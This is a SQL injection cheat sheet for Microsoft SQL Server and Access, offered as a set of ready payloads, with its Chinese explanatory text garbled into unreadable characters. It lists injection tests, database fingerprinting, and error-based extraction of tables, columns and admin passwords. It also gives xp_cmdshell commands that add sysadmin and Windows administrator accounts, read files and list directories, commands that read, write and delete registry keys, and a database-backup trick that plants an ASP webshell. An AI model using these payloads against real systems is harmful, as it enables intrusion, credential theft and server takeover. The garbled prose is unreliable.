SQLע볣
1.жǷע;and 1=1
;and 1=2
2.жǷmssql
;and user>0
3.жݿϵͳ
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.עַ
'and [ѯ] and ''='
5.ʱû˲
'and [ѯ] and '%25'='
6.
;and (select Count(*) from [])>0
7.ֶ
;and (select Count(ֶ) from )>0
8.ֶм¼
;and (select top 1 len(ֶ) from )>0
9.(1)ֶεasciiֵaccess
;and (select top 1 asc(mid(ֶ,1,1)) from )>0
(2)ֶεasciiֵmssql
;and (select top 1 unicode(substring(ֶ,1,1)) from )>0
10.Ȩṹmssql
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.mssqlϵͳʻ
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)Ŀ¼
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('ϲõpaths'))>)
(2)Ŀ¼
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- õǰ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- Ŀ¼б
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- Ŀ¼Ŀ¼ṹ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 鿴ļ
13.mssqlеĴ洢
xp_regenumvalues ע, Ӽ
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' Զ¼ʽмֵ
xp_regread ,Ӽ,ֵ
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' ƶֵ
xp_regwrite ,Ӽ, ֵ, ֵ, ֵ
ֵ2REG_SZ ʾַ,REG_DWORD ʾ
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' дע
xp_regdeletevalue ,Ӽ,ֵ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' ɾijֵ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' ɾ,üֵ
14.mssqlbackupwebshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:\l.asp';
15.mssqlú
;and (select @@version)>0 Windowsİ汾
;and user_name()='dbo' жϵǰϵͳûDzsa
;and (select user_name())>0 ǰϵͳû
;and (select db_name())>0 õǰӵݿ
MSSQLע
1ǰ
עύ'having 1=1--"õϢΪӢģӢмɿһһύgroup by ıhaving 1=1--"ɵõһύgroup by ˵ı,ı.2 having 1=1--"ٵõһͬķύֱҳ治ٷشϢͿԵõеС֪ʶSQLСhaving 1=1"GROUP BYʹãжϵġ䲻ݿⷵشϢʾһһֻܱݿеĵǰijаdz࣬ϻͷdzˡ
һ.ݿ
áand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=)"䣬ݿС"ʾݿеĵN
һעύ䣺and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)"Ϊ dbid ֵ15ϵͳʹõģûԼһǴ6ʼģύ name>1nameֶһַ͵ֶΣֱȽϻύIE᷵µϢMicrosoft OLE DB Provider for ODBC Drivers ?e07' nvarchar ֵ 'Northwind' תΪΪ int ʱ"ͰnameֶεֵˣҲǵõһNorthwind"ı䡰dbid"ֵԵóеĿ
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=)--N6ʼݿ
ڶ.ָеб
õ˿Ҫõеıύ䣺"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') "ҪmasterеıѯSQL䷵صnameֵȻ0Ƚϣͻᱩ¶nameֵύһΪ'spt_monito"ͱˡ
ٽűıύ䣺and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"ύֱһΪ"cd512"ύ"and name not in(' spt_monito',' cd512',..))"ͿԲеı
and 0<>(select top 1 name from [ָ].dbo.sysobjects where xtype='U')--
and 0<>(select top 1 name from [ָ].dbo.sysobjects where xtype='U' and name not in('[ı]'))--
and 0<>(select top 1 name from [ָ].dbo.sysobjects where xtype='U' and name not in('[ı]','[ĵڶ]'))--
4.ָе
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
//IDֵתַͺٺһֵȽϡIDųˡֵΪ949578421name=''
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--adminеһֶ
ύand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
ύ"and name not in(' spt_monito',' cd512',..))"ͿԲadminеֶ
and 0<>(select count(*) from [ָ].dbo.sysobjects where xtype='U' and name='[Ҫֶεı]' and uid>(str(id)))--Ҫֶεıidֵ
and 0<>(select top 1 name from [ָ].dbo.syscolumns where id=idֵ)-- idֵеһֶ
and 0<>(select top 1 name from [ָ].dbo.syscolumns where id=idֵ and name not in('[ֶ]'))--
5ȡָе
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- A_PWD
and 0<(select [һڵֶ] from [ָ].dbo.[Ҫѯı] where [Ҫݵֶ]>1)--
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- admin
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--id<>1ĹԱ(fuhao)
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- ڶԱ <>(tuiguang)
and 0<(Select Top 1 A_UserID FROM admin whereA_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
֪ݿıáѯ"ȡݿеϢҪȡijijеĵNݣύ䣺and (Select Top 1 FROM where id=)>1" еĵNݣIEϢмɵ֪Ҫݡ
ҳ:
[1]